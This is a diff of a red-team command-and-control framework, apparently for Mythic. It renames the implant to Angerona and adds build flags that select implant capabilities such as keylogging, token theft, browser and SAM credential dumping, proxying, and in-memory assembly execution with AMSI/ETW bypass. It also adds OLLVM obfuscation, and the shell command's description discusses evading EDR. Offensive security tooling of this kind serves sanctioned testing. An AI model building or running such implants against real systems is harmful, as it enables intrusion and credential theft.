|
# Get selected commands and create compiler defines
|
||||||
|
selected_commands = self.commands.get_commands()
|
||||||
|
debug_messages.append(f"\n=== COMMAND SELECTION ===")
|
||||||
|
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
|
||||||
|
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
|
||||||
|
|
||||||
|
# Map command names to preprocessor define names
|
||||||
|
# Format: command_name -> ENABLE_XXX_CMD
|
||||||
|
command_to_define = {
|
||||||
|
"shell": "ENABLE_SHELL_CMD",
|
||||||
|
"cd": "ENABLE_CD_CMD",
|
||||||
|
"ls": "ENABLE_LS_CMD",
|
||||||
|
"pwd": "ENABLE_PWD_CMD",
|
||||||
|
"cp": "ENABLE_CP_CMD",
|
||||||
|
"mkdir": "ENABLE_MKDIR_CMD",
|
||||||
|
"rm": "ENABLE_RM_CMD",
|
||||||
|
"cat": "ENABLE_CAT_CMD",
|
||||||
|
"download": "ENABLE_DOWNLOAD_CMD",
|
||||||
|
"upload": "ENABLE_UPLOAD_CMD",
|
||||||
|
"screenshot": "ENABLE_SCREENSHOT_CMD",
|
||||||
|
"ps": "ENABLE_PS_CMD",
|
||||||
|
"kill": "ENABLE_KILL_CMD",
|
||||||
|
"socks": "ENABLE_SOCKS_CMD",
|
||||||
|
"rpfwd": "ENABLE_RPFWD_CMD",
|
||||||
|
"keylog_start": "ENABLE_KEYLOG_START_CMD",
|
||||||
|
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
|
||||||
|
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
|
||||||
|
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
|
||||||
|
"make_token": "ENABLE_MAKE_TOKEN_CMD",
|
||||||
|
"rev2self": "ENABLE_REV2SELF_CMD",
|
||||||
|
"whoami": "ENABLE_WHOAMI_CMD",
|
||||||
|
"browser_info": "ENABLE_BROWSER_INFO_CMD",
|
||||||
|
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
|
||||||
|
"samdump": "ENABLE_SAMDUMP_CMD",
|
||||||
|
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
|
||||||
|
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate compiler defines for selected commands
|
||||||
|
command_flags = []
|
||||||
|
for cmd_name in selected_commands:
|
||||||
|
if cmd_name in command_to_define:
|
||||||
|
define_name = command_to_define[cmd_name]
|
||||||
|
command_flags.append(f"-D{define_name}")
|
||||||
|
debug_messages.append(f" -> {cmd_name}: {define_name}")
|
||||||
|
|
||||||
|
# Core commands (exit, sleep) are always included, no flags needed
|
||||||
|
# Commands with builtin=True (sleep) are always included by Mythic
|
||||||
|
|
||||||
|
command_flags_str = " ".join(command_flags)
|
||||||
|
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
|
||||||
|
if command_flags_str:
|
||||||
|
debug_messages.append(f"Command flags: {command_flags_str}")
|
||||||
|
|
||||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||||
|
|
||||||
@@ -206,7 +261,7 @@ class CazallaAgent(PayloadType):
|
|||||||
debug_output = self.get_parameter("debug_output")
|
debug_output = self.get_parameter("debug_output")
|
||||||
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
|
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
|
||||||
|
|
||||||
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
|
||||||
|
|
||||||
# Replace placeholders in Config.h
|
# Replace placeholders in Config.h
|
||||||
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
|
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
|
||||||
@@ -266,17 +321,21 @@ class CazallaAgent(PayloadType):
|
|||||||
# Determine build target and filename based on output format and debug settings
|
# Determine build target and filename based on output format and debug settings
|
||||||
if debug_level == "none":
|
if debug_level == "none":
|
||||||
make_target = output_format
|
make_target = output_format
|
||||||
output_filename = f"cazalla.{output_format}"
|
output_filename = f"angerona.{output_format}"
|
||||||
make_flags = ""
|
make_flags = ""
|
||||||
else:
|
else:
|
||||||
make_target = f"debug_{output_format}"
|
make_target = f"debug_{output_format}"
|
||||||
output_filename = f"cazalla-debug.{output_format}"
|
output_filename = f"angerona-debug.{output_format}"
|
||||||
# Pass debug level and output type to Makefile
|
# Pass debug level and output type to Makefile
|
||||||
# The Makefile will convert string values to numbers
|
# The Makefile will convert string values to numbers
|
||||||
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
||||||
|
|
||||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
|
# Add command flags to make command
|
||||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
if command_flags_str:
|
||||||
|
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
|
||||||
|
|
||||||
|
command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
|
||||||
|
filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
|
||||||
|
|
||||||
proc = await asyncio.create_subprocess_shell(
|
proc = await asyncio.create_subprocess_shell(
|
||||||
command,
|
command,
|
||||||
@@ -300,11 +359,15 @@ class CazallaAgent(PayloadType):
|
|||||||
resp.build_message = f"Compilation failed: {compile_errors}"
|
resp.build_message = f"Compilation failed: {compile_errors}"
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
|
# Obtain the MD5 and SHA256 of the compiled payload
|
||||||
|
md5_hash = hashlib.md5(open(filename, "rb").read()).hexdigest()
|
||||||
|
sha256_hash = hashlib.sha256(open(filename, "rb").read()).hexdigest()
|
||||||
|
|
||||||
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
|
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Compiling",
|
StepName="Compiling",
|
||||||
StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
|
StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
@@ -336,16 +399,20 @@ class CazallaAgent(PayloadType):
|
|||||||
elif ollvm_compilation == 2:
|
elif ollvm_compilation == 2:
|
||||||
obfuscation_parameters = level_2_obfuscation_parameters
|
obfuscation_parameters = level_2_obfuscation_parameters
|
||||||
|
|
||||||
|
# Add command flags to OLLVM compilation
|
||||||
|
command_flags_ollvm = command_flags_str if command_flags_str else ""
|
||||||
|
|
||||||
# Compilation Command
|
# Compilation Command
|
||||||
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
||||||
-fuse-ld=lld \
|
-fuse-ld=lld \
|
||||||
-DDEBUG_LEVEL={debug_level_docker} \
|
-DDEBUG_LEVEL={debug_level_docker} \
|
||||||
-DDEBUG_OUTPUT={debug_output_docker} \
|
-DDEBUG_OUTPUT={debug_output_docker} \
|
||||||
|
{command_flags_ollvm} \
|
||||||
{obfuscation_parameters} \
|
{obfuscation_parameters} \
|
||||||
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
||||||
--sysroot=/usr/x86_64-w64-mingw32 \
|
--sysroot=/usr/x86_64-w64-mingw32 \
|
||||||
/tmp/cazalla/*.c \
|
/tmp/angerona/*.c \
|
||||||
-o /tmp/cazalla/cazalla.exe \
|
-o /tmp/angerona/angerona.exe \
|
||||||
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
|
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
|
||||||
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
|
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
|
||||||
|
|
||||||
@@ -353,7 +420,7 @@ class CazallaAgent(PayloadType):
|
|||||||
create_container_command = [
|
create_container_command = [
|
||||||
"docker", "run",
|
"docker", "run",
|
||||||
"--name", f"{container_name}",
|
"--name", f"{container_name}",
|
||||||
"--volume", f"{docker_volume_folder}:/tmp/cazalla/",
|
"--volume", f"{docker_volume_folder}:/tmp/angerona/",
|
||||||
"ollvm16-builder:latest",
|
"ollvm16-builder:latest",
|
||||||
"sh", "-c" ,compilation_command
|
"sh", "-c" ,compilation_command
|
||||||
]
|
]
|
||||||
@@ -367,7 +434,7 @@ class CazallaAgent(PayloadType):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Move agent_build_path.name to docker_volume_folder
|
# Move agent_build_path.name to docker_volume_folder
|
||||||
copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder)
|
copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
|
||||||
|
|
||||||
# Create Docker Container
|
# Create Docker Container
|
||||||
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
|
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
|
||||||
@@ -384,13 +451,13 @@ class CazallaAgent(PayloadType):
|
|||||||
return resp
|
return resp
|
||||||
|
|
||||||
# Get the output from the Docker Container
|
# Get the output from the Docker Container
|
||||||
resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read()
|
resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
|
||||||
resp.build_message = "Successfully built!"
|
resp.build_message = "Successfully built!"
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Compiling",
|
StepName="Compiling",
|
||||||
StepStdout=f"Successfully built cazalla.exe",
|
StepStdout=f"Successfully built angerona.exe",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
+3
@@ -35,6 +35,9 @@ class DownloadCommand(CommandBase):
|
|||||||
supported_ui_features = ["file_browser:download"]
|
supported_ui_features = ["file_browser:download"]
|
||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = DownloadArguments
|
argument_class = DownloadArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
+4
@@ -25,6 +25,10 @@ class ExitCommand(CommandBase):
|
|||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
argument_class = ExitArguments
|
argument_class = ExitArguments
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=True
|
||||||
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
+2
-2
@@ -246,14 +246,14 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
|
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
|
||||||
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
|
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
|
||||||
version = 1
|
version = 1
|
||||||
author = "@c0rnbread (adapted for Cazalla)"
|
author = "@c0rnbread (adapted for Angerona)"
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
argument_class = InlineExecuteArguments
|
argument_class = InlineExecuteArguments
|
||||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
+3
-2
@@ -259,14 +259,15 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
|
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
|
||||||
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
|
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
|
||||||
version = 1
|
version = 1
|
||||||
author = "@c0rnbread (adapted for Cazalla)"
|
author = "@c0rnbread (adapted for Angerona)"
|
||||||
script_only = True
|
script_only = True
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
argument_class = InlineExecuteAssemblyArguments
|
argument_class = InlineExecuteAssemblyArguments
|
||||||
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
completion_functions = {"coff_completion_callback": coff_completion_callback}
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
dependencies=["inline_execute"],
|
dependencies=["inline_execute"],
|
||||||
alias=True
|
alias=True,
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
+3
@@ -73,6 +73,9 @@ class KillCommand(CommandBase):
|
|||||||
attackmapping = ["T1489"]
|
attackmapping = ["T1489"]
|
||||||
supported_ui_features = ["process_browser:kill"]
|
supported_ui_features = ["process_browser:kill"]
|
||||||
argument_class = KillArguments
|
argument_class = KillArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
+3
@@ -52,6 +52,9 @@ class ListTokensCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
supported_ui_features = ["process_browser:list_tokens"]
|
supported_ui_features = ["process_browser:list_tokens"]
|
||||||
argument_class = ListTokensArguments
|
argument_class = ListTokensArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
+1
-1
@@ -111,7 +111,7 @@ class LsCommand(CommandBase):
|
|||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
|
|
||||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
+3
@@ -75,6 +75,9 @@ class MakeTokenCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
attackmapping = ["T1134.003"]
|
attackmapping = ["T1134.003"]
|
||||||
argument_class = MakeTokenArguments
|
argument_class = MakeTokenArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
+1
-1
@@ -29,7 +29,7 @@ class PsCommand(CommandBase):
|
|||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
|
||||||
+3
@@ -23,6 +23,9 @@ class Rev2SelfCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
attackmapping = ["T1134.001"]
|
attackmapping = ["T1134.001"]
|
||||||
argument_class = Rev2SelfArguments
|
argument_class = Rev2SelfArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
-1
@@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase):
|
|||||||
attackmapping = []
|
attackmapping = []
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.Windows],
|
supported_os=[SupportedOS.Windows],
|
||||||
builtin=True,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
+3
@@ -25,6 +25,9 @@ class ScreenshotCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = ScreenshotArguments
|
argument_class = ScreenshotArguments
|
||||||
attackmapping = ["T1113"]
|
attackmapping = ["T1113"]
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
+3
-3
@@ -30,13 +30,13 @@ class ShellCommand(CommandBase):
|
|||||||
cmd = "shell"
|
cmd = "shell"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
help_cmd = "shell <command>"
|
help_cmd = "shell <command>"
|
||||||
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
|
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
|
||||||
version = 1
|
version = 1
|
||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
attackmapping = ["T1059"]
|
attackmapping = ["T1059"]
|
||||||
argument_class = ShellArguments
|
argument_class = ShellArguments
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
supported_os=[SupportedOS.Windows]
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
@@ -80,7 +80,7 @@ class ShellCommand(CommandBase):
|
|||||||
message += f" • {warning}\n"
|
message += f" • {warning}\n"
|
||||||
message += "\n"
|
message += "\n"
|
||||||
|
|
||||||
message += "Consider using built-in Cazalla commands instead:\n"
|
message += "Consider using built-in Angerona commands instead:\n"
|
||||||
message += " • Use 'ps' instead of 'tasklist'\n"
|
message += " • Use 'ps' instead of 'tasklist'\n"
|
||||||
message += " • Use 'ls' instead of 'dir'\n"
|
message += " • Use 'ls' instead of 'dir'\n"
|
||||||
message += " • Use 'cat' instead of 'type'\n"
|
message += " • Use 'cat' instead of 'type'\n"
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user